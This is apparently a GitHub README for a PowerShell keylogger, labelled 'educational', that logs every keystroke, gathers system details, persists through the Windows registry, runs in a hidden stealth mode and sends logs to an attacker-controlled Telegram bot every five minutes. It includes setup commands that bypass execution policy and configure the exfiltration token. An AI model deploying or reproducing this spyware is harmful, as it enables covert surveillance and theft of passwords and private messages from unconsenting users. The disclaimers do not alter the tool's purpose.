This is a PowerShell-based Keylogger designed for educational purposes only. The keylogger records keystrokes, collects system information, and sends the log to a specified Telegram bot. It also maintains persistence across reboots and can manage log file size by archiving when necessary.
Important: This tool should only be used in ethical hacking and security research environments where permission is granted. Unauthorized use is illegal and unethical.
- Keystroke Logging: Records every keystroke, including special keys and function keys.
- System Information Collection: Logs important system information (CPU, RAM, OS, IP, etc.).
- Persistence: Ensures the keylogger automatically starts upon reboot without user intervention.
- Telegram Integration: Sends logged data to a Telegram bot for remote monitoring.
- Log File Management: Archives logs if the file size exceeds the specified limit (10MB).
- Stealth Mode: Operates in the background without showing any CLI prompts or visible windows.
##::: ##::'#######:::'#######::'########::
###:: ##:'##.... ##:'##.... ##: ##.... ##:
####: ##: ##:::: ##: ##:::: ##: ##:::: ##:
## ## ##: ##:::: ##: ##:::: ##: ########::
##. ####: ##:::: ##: ##:::: ##: ##.... ##:
##:. ###: ##:::: ##: ##:::: ##: ##:::: ##:
##::. ##:. #######::. #######:: ########::
..::::..:::.......::::.......:::........:::
___________________________________________________________________________
[INFO] Computer Name: BLIONRIE
[INFO] Current User: BLIONRIE\maila
[INFO] IP Address (IPv4): 192.168.**.*
[INFO] IP Address (IPv6): fe80::9aae:768b:4e35:******
[INFO] CPU: 12th Gen Intel(R) Core(TM) i5-12500H
[INFO] RAM: 7.69 GB
[INFO] OS: Microsoft Windows 11 Home Single Language (64-bit)
[INFO] Storage:
Name Used(GB) Free(GB) Total(GB)
---- -------- -------- ---------
C 214.71 140.82 355.53
E 80.58 17.08 97.66
Logged Keys
- - - -- - - - - - -
This tool is intended only for educational purposes or ethical hacking engagements with explicit permission. Misuse of this tool may lead to legal consequences.
- PowerShell (pre-installed on Windows)
- Active internet connection (for Telegram bot integration)
-
Download the Script Clone or download the repository to your local machine.
git clone https://github.com/4nuxd/keylogger.git cd keylogger -
Alternatively, download the
keylogger.ps1file directly.
-
Bypass Execution Policy (if necessary):
Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force
-
Run the Script:
.\keylogger.ps1
The script will automatically:
- Set up persistence via the Windows registry (so it runs after a restart).
- Start logging keystrokes in the background.
- Collect system information.
- Send logs to your Telegram bot at regular intervals.
-
Telegram Bot Integration:
- Create a Telegram Bot via BotFather.
- Get your
botTokenandchatID(where logs will be sent). - Update the
botTokenandchatIDvalues in the script.
$botToken = "your-telegram-bot-token" $chatID = "your-chat-id"
-
Log File Path: The logs are saved to the
keylog.txtfile located in theAPPDATAdirectory.- Log path:
$env:APPDATA\keylog.txt - Archived logs will be saved as
keylog_<timestamp>.txt.
- Log path:
-
Keystroke Logging: The script listens for keypress events and logs them to a file. Special keys like
ENTER,TAB,BACKSPACE, etc., are handled appropriately. -
System Information Collection: Every hour, the script logs the system's CPU, RAM, OS, storage, and IP addresses.
-
Telegram Integration: Every 5 minutes, the script sends the current log file to your specified Telegram bot.
-
Log File Management: If the log file exceeds 10MB, it is archived and a new log file is created.
-
Persistence: The script ensures that it automatically runs every time the system starts, by adding itself to the Windows registry.
-
Change Log File Size Limit: Modify
$maxLogSizeto change the log file size threshold for archiving:$maxLogSize = 10MB
-
Change Log Interval: Modify the
Send-ToTelegramfunction's interval for sending logs to Telegram.
- This script runs in the background without any visible windows or notifications. It is designed to be stealthy.
- Use responsibly and ensure you have explicit permission to run this tool on any machine.
- Legal Disclaimer: Unauthorized use of this tool for malicious purposes is illegal and unethical.
The script collects keystrokes and system information. Ensure that it is used in a secure environment and not for malicious purposes. Always respect privacy and legal boundaries.
This project is licensed under the MIT License - see the LICENSE file for details.
Updates Will Be Cominng Its v1.0.0
🔒 Stay Ethical, Stay Safe 🔒